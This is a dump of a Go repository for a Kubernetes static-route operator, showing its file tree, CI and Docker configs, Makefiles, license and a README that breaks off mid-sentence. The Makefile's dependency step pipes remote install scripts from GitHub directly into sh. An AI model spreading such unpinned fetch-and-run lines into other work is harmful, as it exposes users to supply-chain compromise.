├── .dockerignore ├── .gitignore ├── .travis.yml ├── .yamllint ├── CONTRIBUTION.md ├── Dockerfile ├── LICENSE ├── Makefile ├── Makefile.env ├── Makefile.sdk ├── PROJECT ├── README.md ├── api └── v1 │ ├── groupversion_info.go │ ├── staticroute_types.go │ └── zz_generated.deepcopy.go ├── config ├── crd │ ├── bases │ │ └── static-route.ibm.com_staticroutes.yaml │ ├── kustomization.yaml │ ├── kustomizeconfig.yaml │ └── patches │ │ ├── cainjection_in_staticroutes.yaml │ │ └── webhook_in_staticroutes.yaml ├── default │ ├── kustomization.yaml │ ├── manager_auth_proxy_patch.yaml │ └── manager_config_patch.yaml ├── manager │ └── manager.yaml ├── manifests │ └── kustomization.yaml ├── prometheus │ ├── kustomization.yaml │ └── monitor.yaml ├── rbac │ ├── auth_proxy_client_clusterrole.yaml │ ├── auth_proxy_role.yaml │ ├── auth_proxy_role_binding.yaml │ ├── auth_proxy_service.yaml │ ├── kustomization.yaml │ ├── leader_election_role.yaml │ ├── leader_election_role_binding.yaml │ ├── role.yaml │ ├── role_binding.yaml │ ├── service_account.yaml │ ├── staticroute_editor_role.yaml │ └── staticroute_viewer_role.yaml ├── samples │ ├── kustomization.yaml │ ├── static-route.ibm.com_v1_static_route_cr.yaml │ └── static-route.ibm.com_v1_static_route_cr_with_selector.yaml └── scorecard │ ├── bases │ └── config.yaml │ ├── kustomization.yaml │ └── patches │ ├── basic.config.yaml │ └── olm.config.yaml ├── controllers ├── node │ ├── mock_test.go │ ├── node_controller.go │ └── node_controller_test.go └── staticroute │ ├── mocks_test.go │ ├── staticroute_controller.go │ ├── staticroute_controller_test.go │ ├── wrapper.go │ └── wrapper_test.go ├── docs └── design.md ├── go.mod ├── go.sum ├── hack └── boilerplate.go.txt ├── main.go ├── main_test.go ├── mock_test.go ├── pkg ├── routemanager │ ├── routemanager.go │ ├── routemanager_test.go │ └── types.go └── types │ └── logger.go ├── scripts ├── fvt-tools.sh ├── get-next-version-by-commit.sh ├── push-docker-image.sh ├── run-fvt.sh └── travis-provider-script.sh └── version └── version.go /.dockerignore: -------------------------------------------------------------------------------- 1 | # More info: https://docs.docker.com/engine/reference/builder/#dockerignore-file 2 | # Ignore build and test binaries. 3 | bin/ 4 | testbin/ 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Temporary Binary Files 2 | bin/ 3 | # Created by https://www.gitignore.io/api/go,vim,emacs,visualstudiocode 4 | ### Emacs ### 5 | # -*- mode: gitignore; -*- 6 | *~ 7 | \#*\# 8 | /.emacs.desktop 9 | /.emacs.desktop.lock 10 | *.elc 11 | auto-save-list 12 | tramp 13 | .\#* 14 | # Org-mode 15 | .org-id-locations 16 | *_archive 17 | # flymake-mode 18 | *_flymake.* 19 | # eshell files 20 | /eshell/history 21 | /eshell/lastdir 22 | # elpa packages 23 | /elpa/ 24 | # reftex files 25 | *.rel 26 | # AUCTeX auto folder 27 | /auto/ 28 | # cask packages 29 | .cask/ 30 | dist/ 31 | # Flycheck 32 | flycheck_*.el 33 | # server auth directory 34 | /server/ 35 | # projectiles files 36 | .projectile 37 | projectile-bookmarks.eld 38 | # directory configuration 39 | .dir-locals.el 40 | # saveplace 41 | places 42 | # url cache 43 | url/cache/ 44 | # cedet 45 | ede-projects.el 46 | # smex 47 | smex-items 48 | # company-statistics 49 | company-statistics-cache.el 50 | # anaconda-mode 51 | anaconda-mode/ 52 | ### Go ### 53 | # Binaries for programs and plugins 54 | *.exe 55 | *.exe~ 56 | *.dll 57 | *.so 58 | *.dylib 59 | # Test binary, build with 'go test -c' 60 | *.test 61 | # Output of the go coverage tool, specifically when used with LiteIDE 62 | *.out 63 | ### Vim ### 64 | # swap 65 | .sw[a-p] 66 | .*.sw[a-p] 67 | # session 68 | Session.vim 69 | # temporary 70 | .netrwhist 71 | # auto-generated tag files 72 | tags 73 | ### VisualStudioCode ### 74 | .vscode/* 75 | .history 76 | # End of https://www.gitignore.io/api/go,vim,emacs,visualstudiocode 77 | 78 | scripts/kubeconfig.yaml 79 | config/manager/manager.dev.yaml -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | --- 2 | if: branch !~ ^build-[0-9]*$ AND tag !~ ^build-[0-9]*$ AND branch !~ ^v[0-9]*.[0-9]*.[0-9]*$ AND tag !~ ^v[0-9]*.[0-9]*.[0-9]*$ 3 | language: go 4 | 5 | # Ubuntu 22.04 6 | os: ["linux"] 7 | dist: jammy 8 | 9 | # Go version for Travis (fvt) 10 | go: 11 | - "1.22.7" 12 | 13 | git: 14 | depth: 9999 15 | 16 | addons: 17 | apt: 18 | update: true 19 | packages: 20 | - python3-pip 21 | 22 | services: 23 | - docker 24 | 25 | before_install: 26 | - sudo pip3 --quiet install yamllint 27 | 28 | after_failure: 29 | - echo "Job failed, check the output above" 30 | 31 | before_script: 32 | - export REGISTRY_URL=$(echo "${DOCKER_REGISTRY_LIST}" | tr ',' ' ' | cut -d' ' -f1) 33 | - export REGISTRY_REPO=${REGISTRY_URL}/${DOCKER_IMAGE_NAME} 34 | - DOCKER_CLI_EXPERIMENTAL=enabled 35 | - mkdir -p ~/.docker/cli-plugins 36 | - docker --version 37 | - wget https://github.com/docker/buildx/releases/download/v0.9.1/buildx-v0.9.1.linux-amd64 38 | - chmod a+x buildx-v0.9.1.linux-amd64 39 | - mv buildx-v0.9.1.linux-amd64 ~/.docker/cli-plugins/docker-buildx 40 | - docker buildx create --use --name multi-builder --platform linux/amd64,linux/s390x 41 | - docker buildx version 42 | - docker run --rm --privileged multiarch/qemu-user-static --reset -p yes 43 | 44 | script: 45 | - make deps 46 | - make fvt || travis_terminate 1 47 | 48 | deploy: 49 | - provider: script 50 | script: bash scripts/travis-provider-script.sh 51 | skip_cleanup: true 52 | on: 53 | all_branches: true 54 | condition: $TRAVIS_BRANCH =~ ^(release-*)$ 55 | -------------------------------------------------------------------------------- /.yamllint: -------------------------------------------------------------------------------- 1 | extends: relaxed 2 | 3 | rules: 4 | line-length: 5 | max: 180 6 | level: warning 7 | -------------------------------------------------------------------------------- /CONTRIBUTION.md: -------------------------------------------------------------------------------- 1 | # Contributing to Static Route Operators 2 | 3 | This page contains information about reporting issues, how to suggest changes 4 | as well as the guidelines we follow for how our documents are formatted. 5 | 6 | ## Table of Contents 7 | * [Reporting an Issue](#reporting-an-issue) 8 | * [Suggesting a Change](#suggesting-a-change) 9 | * [Code Style](#code-style) 10 | 11 | ## Reporting an Issue 12 | 13 | To report an issue, or to suggest an idea for a change that you haven't 14 | had time to write-up yet, open an 15 | [issue](https://github.com/wornbugle/staticroute-operator/issues). It is best to check 16 | our existing [issues](https://github.com/wornbugle/staticroute-operator/issues) first 17 | to see if a similar one has already been opened and discussed. 18 | 19 | ## Suggesting a Change 20 | 21 | To suggest a change to this repository, submit a [pull 22 | request](https://github.com/wornbugle/staticroute-operator/pulls)(PR) with the complete 23 | set of changes you'd like to see. See the 24 | [Code Style](#code-style) section for 25 | the guidelines we follow for how documents are formatted. 26 | 27 | ### Git Commit Guidelines 28 | 29 | #### Conventional Commits 30 | 31 | This project uses [Conventional Commits](https://www.conventionalcommits.org) as a guide for commit messages. Please ensure that your commit message follows this structure: 32 | 33 | ``` 34 | type(component?): message 35 | ``` 36 | 37 | *type* is one of: feat, fix, docs, chore, style, refactor, perf, test 38 | 39 | *component* optionally is the name of the part you are fixing. 40 | 41 | #### Sign your work 42 | 43 | The sign-off is a simple line at the end of the explanation for the patch. Your 44 | signature certifies that you wrote the patch or otherwise have the right to pass 45 | it on as an open-source patch. The rules are pretty simple: if you can certify 46 | the below (from [developercertificate.org](http://developercertificate.org/)): 47 | 48 | ``` 49 | Developer Certificate of Origin 50 | Version 1.1 51 | 52 | Copyright (C) 2004, 2006 The Linux Foundation and its contributors. 53 | 1 Letterman Drive 54 | Suite D4700 55 | San Francisco, CA, 94129 56 | 57 | Everyone is permitted to copy and distribute verbatim copies of this 58 | license document, but changing it is not allowed. 59 | 60 | Developer's Certificate of Origin 1.1 61 | 62 | By making a contribution to this project, I certify that: 63 | 64 | (a) The contribution was created in whole or in part by me and I 65 | have the right to submit it under the open source license 66 | indicated in the file; or 67 | 68 | (b) The contribution is based upon previous work that, to the best 69 | of my knowledge, is covered under an appropriate open source 70 | license and I have the right under that license to submit that 71 | work with modifications, whether created in whole or in part 72 | by me, under the same open source license (unless I am 73 | permitted to submit under a different license), as indicated 74 | in the file; or 75 | 76 | (c) The contribution was provided directly to me by some other 77 | person who certified (a), (b) or (c) and I have not modified 78 | it. 79 | 80 | (d) I understand and agree that this project and the contribution 81 | are public and that a record of the contribution (including all 82 | personal information I submit with it, including my sign-off) is 83 | maintained indefinitely and may be redistributed consistent with 84 | this project or the open source license(s) involved. 85 | ``` 86 | 87 | Then you just add a line to every git commit message: 88 | 89 | Signed-off-by: Joe Smith 90 | 91 | Use your real name (sorry, no pseudonyms or anonymous contributions.) 92 | 93 | If you set your `user.name` and `user.email` git configs, you can sign your 94 | commit automatically with `git commit -s`. 95 | 96 | Note: If your git config information is set properly then viewing the 97 | `git log` information for your commit will look something like this: 98 | 99 | ``` 100 | Author: Joe Smith 101 | Date: Thu Feb 2 11:41:15 2018 -0800 102 | 103 | docs: Update README 104 | 105 | Signed-off-by: Joe Smith 106 | ``` 107 | 108 | Notice the `Author` and `Signed-off-by` lines match. If they don't 109 | your PR will be rejected by the automated DCO check. 110 | 111 | ## Code style 112 | 113 | The coding style suggested by the Golang community is used in this project. 114 | See the [style doc](https://github.com/golang/go/wiki/CodeReviewComments) for details. 115 | 116 | ## Code Of Conduct 117 | 118 | For more information please visit our official site of [Code Of Conduct](https://www.ibm.com/partnerworld/program/code-of-conduct) -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Builder stage 2 | ARG BUILDER_IMAGE 3 | ARG INTERMEDIATE_IMAGE 4 | FROM $BUILDER_IMAGE AS builder 5 | ENV GO111MODULE=on 6 | WORKDIR / 7 | COPY go.mod go.mod 8 | COPY go.sum go.sum 9 | RUN go mod download 10 | 11 | COPY main.go main.go 12 | COPY api/ api/ 13 | COPY controllers/ controllers/ 14 | COPY pkg/ pkg/ 15 | COPY version/ version/ 16 | ARG ARCH 17 | ARG CGO 18 | ARG BUILDPARAM 19 | RUN CGO_ENABLED=${CGO} GOOS=linux GOARCH=${ARCH} go build ${GOBUILDFLAGS} -o /staticroute-operator main.go 20 | 21 | # Intermediate stage to apply capabilities 22 | FROM $INTERMEDIATE_IMAGE AS intermediate 23 | COPY --from=builder /staticroute-operator /staticroute-operator 24 | RUN setcap cap_net_admin+ep /staticroute-operator 25 | RUN chmod go+x /staticroute-operator 26 | 27 | # Final image 28 | FROM scratch 29 | 30 | COPY --from=intermediate /staticroute-operator /staticroute-operator 31 | USER 2000:2000 32 | 33 | ENTRYPOINT ["/staticroute-operator"] 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | GO111MODULE:=on 2 | export DOCKER_BUILDKIT=1 3 | GO_PACKAGES=$(shell go list ./... | grep -v /tests/) 4 | GO_FILES=$(shell find . -type f -name '*.go' -not -path "./.git/*" -not -path "./api/v1/zz_generated*.go") 5 | GOLANGCI_LINT_EXISTS:=$(shell golangci-lint --version 2>/dev/null) 6 | GOSEC_EXISTS:=$(shell gosec --version 2>/dev/null) 7 | GIT_COMMIT_SHA:=$(shell git rev-parse HEAD 2>/dev/null) 8 | SHFILES=$(shell find . -type f -name '*fvt*.sh') 9 | SHELLCHECK_EXISTS:=$(shell shellcheck --version 2>/dev/null) 10 | YAMLLINT_EXISTS:=$(shell yamllint --version 2>/dev/null) 11 | INSTALL_LOCATION?=$(GOPATH)/bin 12 | MAKEFILE_DIR := $(dir $(realpath $(firstword $(MAKEFILE_LIST)))) 13 | 14 | include Makefile.env 15 | include Makefile.sdk 16 | 17 | deps: 18 | make _deps-$(shell uname | tr '[:upper:]' '[:lower:]') 19 | 20 | _deps-darwin: 21 | $(error Operating system not supported) 22 | 23 | _deps-linux: 24 | curl -sL https://github.com/operator-framework/operator-sdk/releases/download/v${OP_SDK_RELEASE_VERSION}/operator-sdk_linux_amd64 > ${INSTALL_LOCATION}/operator-sdk 25 | curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b ${INSTALL_LOCATION} v${GOLANGCI_LINT_VERSION} 26 | curl -sL https://github.com/kubernetes-sigs/kind/releases/download/v${KIND_VERSION}/kind-linux-amd64 > ${INSTALL_LOCATION}/kind 27 | curl -sL https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/amd64/kubectl > ${INSTALL_LOCATION}/kubectl 28 | chmod +x ${INSTALL_LOCATION}/operator-sdk ${INSTALL_LOCATION}/kind ${INSTALL_LOCATION}/kubectl 29 | curl -sfL https://raw.githubusercontent.com/securego/gosec/master/install.sh | sh -s -- -b ${INSTALL_LOCATION} v${GOSEC_VERSION} 30 | 31 | _calculate-build-number: 32 | $(eval export CONTAINER_VERSION?=$(GIT_COMMIT_SHA)-$(shell date "+%s")) 33 | 34 | lint: 35 | ifdef GOLANGCI_LINT_EXISTS 36 | golangci-lint run --verbose --timeout 10m 37 | else 38 | @echo "golangci-lint is not installed" 39 | endif 40 | 41 | lint-sh: 42 | ifdef SHELLCHECK_EXISTS 43 | shellcheck ${SHFILES} 44 | else 45 | @echo "shellcheck is not installed" 46 | endif 47 | 48 | lint-yaml: 49 | ifdef YAMLLINT_EXISTS 50 | ifeq ($(TRAVIS),true) 51 | yamllint .travis.yml ./config/ 52 | endif 53 | else 54 | @echo "yamllint is not installed" 55 | endif 56 | 57 | formatcheck: 58 | ([ -z "$(shell gofmt -d $(GO_FILES))" ]) || (echo "Source is unformatted, please execute make format"; exit 1) 59 | 60 | format: 61 | @gofmt -w ${GO_FILES} 62 | 63 | coverage: 64 | go tool cover -html=cover.out -o=cover.html 65 | 66 | sec: 67 | ifdef GOSEC_EXISTS 68 | gosec -quiet ${GO_FILES} 69 | else 70 | @echo "gosec is not installed" 71 | endif 72 | 73 | fvt: _calculate-build-number build-operator 74 | docker tag $(REGISTRY_REPO)-amd64 $(REGISTRY_REPO)-amd64:$(CONTAINER_VERSION) 75 | $(eval export REGISTRY_REPO=$(REGISTRY_REPO)-amd64) 76 | @scripts/run-fvt.sh 77 | 78 | validate-code: lint lint-sh lint-yaml formatcheck vet sec test 79 | 80 | update-operator-resource: 81 | make manifests 82 | 83 | build-operator: update-operator-resource validate-code 84 | make docker-build IMG=$(REGISTRY_REPO) 85 | 86 | dev-publish-image: _calculate-build-number build-operator 87 | docker tag $(REGISTRY_REPO)-amd64 $(REGISTRY_REPO)-amd64:$(CONTAINER_VERSION)-amd64 88 | docker push $(REGISTRY_REPO)-amd64:$(CONTAINER_VERSION)-amd64 89 | @echo "\n image: $(REGISTRY_REPO)-amd64:$(CONTAINER_VERSION)-amd64" 90 | 91 | dev-run-operator-local: dev-apply-common-resources 92 | # pick the first node to test run 93 | $(eval export NODE_HOSTNAME=$(shell sh -c "kubectl get nodes -o jsonpath='{ $$.items[0].status.addresses[?(@.type==\"Hostname\")].address }'")) 94 | make run 95 | 96 | dev-run-operator-remote: dev-publish-image dev-apply-common-resources 97 | cat config/manager/manager.yaml | sed 's|REPLACE_IMAGE|$(REGISTRY_REPO)-amd64:$(CONTAINER_VERSION)-amd64|g' > config/manager/manager.dev.yaml 98 | kubectl create -f config/manager/manager.dev.yaml || : 99 | 100 | dev-apply-common-resources: 101 | kubectl create -f config/crd/bases/static-route.ibm.com_staticroutes.yaml || : 102 | kubectl create -f config/rbac/service_account.yaml || : 103 | kubectl create -f config/rbac/role.yaml || : 104 | kubectl create -f config/rbac/role_binding.yaml || : 105 | 106 | dev-cleanup-operator: 107 | kubectl delete -f config/crd/bases/static-route.ibm.com_staticroutes.yaml || : 108 | kubectl delete -f config/manager/manager.dev.yaml || : 109 | kubectl delete -f config/rbac/role.yaml || : 110 | kubectl delete -f config/rbac/role_binding.yaml || : 111 | kubectl delete -f config/rbac/service_account.yaml || : 112 | -------------------------------------------------------------------------------- /Makefile.env: -------------------------------------------------------------------------------- 1 | REGISTRY_REPO?=quay.io/example/static-route-operator 2 | KUBECONFIG?=$$HOME/.kube/config 3 | OP_SDK_RELEASE_VERSION?=1.36.1 4 | GOLANGCI_LINT_VERSION?=1.61.0 5 | GOSEC_VERSION?=2.21.2 6 | KIND_VERSION?=0.24.0 7 | KUBECTL_VERSION?=1.31.0 8 | INSTALL_LOCATION?=/usr/local/bin 9 | GO_BUILDER_IMAGE?=registry.ci.openshift.org/openshift/release:golang-1.22 10 | CONTROLLER_TOOLS_VERSION?=v0.16.2 11 | 12 | CGO?=0 13 | GOBUILDFLAGS?="-mod=mod -a" 14 | INTERMEDIATE_IMAGE?="registry.access.redhat.com/ubi8/ubi-minimal" 15 | -------------------------------------------------------------------------------- /PROJECT: -------------------------------------------------------------------------------- 1 | domain: ibm.com 2 | layout: 3 | - go.kubebuilder.io/v3 4 | plugins: 5 | manifests.sdk.operatorframework.io/v2: {} 6 | scorecard.sdk.operatorframework.io/v2: {} 7 | projectName: staticroute-operator 8 | repo: github.com/wornbugle/staticroute-operator 9 | resources: 10 | - api: 11 | crdVersion: v1 12 | namespaced: true 13 | controller: true 14 | domain: ibm.com 15 | group: static-route 16 | kind: StaticRoute 17 | path: github.com/wornbugle/staticroute-operator/api/v1 18 | version: v1 19 | version: "3" 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Go Report Card](https://goreportcard.com/badge/github.com/wornbugle/staticroute-operator)](https://goreportcard.com/report/github.com/wornbugle/staticroute-operator) [![Active](http://img.shields.io/badge/Status-Active-green.svg)](https://github.com/wornbugle/staticroute-operator) [![PR's Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat)](https://github.com/wornbugle/staticroute-operator/pulls) [![Build Status](https://app.travis-ci.com/IBM/staticroute-operator.svg?branch=master)](https://app.travis-ci.com/github/IBM/staticroute-operator) [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) [![Code of Conduct](https://img.shields.io/badge/code%20of-conduct-ff69b4.svg?style=flat)](https://www.ibm.com/partnerworld/program/code-of-conduct) 2 | 3 | # static-route-operator 4 | Static IP route operator for Kubernetes clusters 5 | 6 | This project is under development, use it on your own risk please. 7 | 8 | # Usage 9 | 10 | Public OCI images are not available yet. To give a try to the project you have to build your own image and store it in your image repository. Please follow some easy steps under `Development` section of the page. 11 | After build you have to apply some Kubernetes manifests: `config/crd/bases/static-route.ibm.com_staticroutes.yaml`, `config/rbac/service_account.yaml`, `config/rbac/role.yaml`, `config/rbac/role_binding.yaml` and `config/manager/manager.dev.yaml`. 12 | Finaly you have to create `StaticRoute` custom resource on the cluster. The operator will pick it up and creates underlaying routing policies based on the given resource. 13 | 14 | ## Sample custom resources 15 | 16 | Route a subnet across the default gateway. 17 | ``` 18 | apiVersion: static-route.ibm.com/v1 19 | kind: StaticRoute 20 | metadata: 21 | name: example-static-route 22 | spec: 23 | subnet: "192.168.0.0/24" 24 | ``` 25 | 26 | Route a subnet to the custom gateway. 27 | ``` 28 | apiVersion: static-route.ibm.com/v1 29 | kind: StaticRoute 30 | metadata: 31 | name: example-static-route 32 | spec: 33 | subnet: "192.168.0.0/24" 34 | gateway: "10.0.0.1" 35 | ``` 36 | 37 | Selecting target node(s) of the static route by label(s): 38 | ``` 39 | apiVersion: static-route.ibm.com/v1 40 | kind: StaticRoute 41 | metadata: 42 | name: example-static-route-with-selector 43 | spec: 44 | subnet: "192.168.1.0/24" 45 | selectors: 46 | - 47 | key: "kubernetes.io/arch" 48 | operator: In 49 | values: 50 | - "amd64" 51 | ``` 52 | 53 | ## Runtime customizations of operator 54 | 55 | * Routing table: By default static route controller uses #254 table to configure static routes. The table number is configurable by giving a valid number between 0 and 254 as `TARGET_TABLE` environment variable. Changing the target table on a running operator is not supported. You have to properly terminate all the existing static routes by deleting the custom resources before restarting the operator with the new config. 56 | * Protect subnets: Static route operator allows to set any subnet as routing destination. In some cases users can break the entire network by mistake. To protect some of the subnets you can use a comma separated list in environment variables starting with the string `PROTECTED_SUBNET_` (ie. `PROTECTED_SUBNET_CALICO=172.0.0.1/24,10.0.0.1/24`). The operator will ignore custom route if the subnets (in the custom resource and the protected list) are overlapping each other. 57 | * Fallback IP address for GW selection: if the gateway parameter is not provided in any CR, static route operator will select the gateway based on a predefined IP address (NOT CIDR). The address can be provided via an environment variable: `FALLBACK_IP_FOR_GW_SELECTION`. If the environment variable is not provided for the operator, it will use `10.0.0.1` as a default value. 58 | 59 | # Development 60 | 61 | ## Prerequisites 62 | The following components are needed to be installed on your environment: 63 | * git 64 | * go 1.18+ 65 | * docker 66 | * kubectl v1.22.2 or newer 67 | * KinD v0.11.1 (for testing) 68 | * golangci-lint v1.49.0 69 | * Operator SDK CLI 1.23.0 (more information: https://sdk.operatorframework.io/docs/installation/) 70 | * and access to a Kubernetes cluster on a version v1.21.0 or newer 71 | * before you run any of the make target below, make sure the following are done: 72 | - export `REGISTRY_REPO` environment variable to your docker registry repo url (ie.: quay.io/example/static-route-operator:v0.0.1) 73 | - export `KUBECONFIG` environment variable to the path of kubeconfig file (if not set, default $$HOME/.kube/config will be used) 74 | - login to your docker registry using your credentials (ie.: docker login... , ibmcloud cr login etc.) 75 | 76 | ## Changing Go build version 77 | You can change the builder Go version for Static Route operator in `Makefile.env`. Please note, that since the docker build is done inside separately in a Go builder image (`GO_BUILDER_IMAGE`), you should also change Travis Go version in `.travis.yaml`, to make sure that the Go tests are running on the same Go version as the build. 78 | ## Updating the Custom Resource Definitions (CRDs) 79 | Make sure, that every time you modify anything in 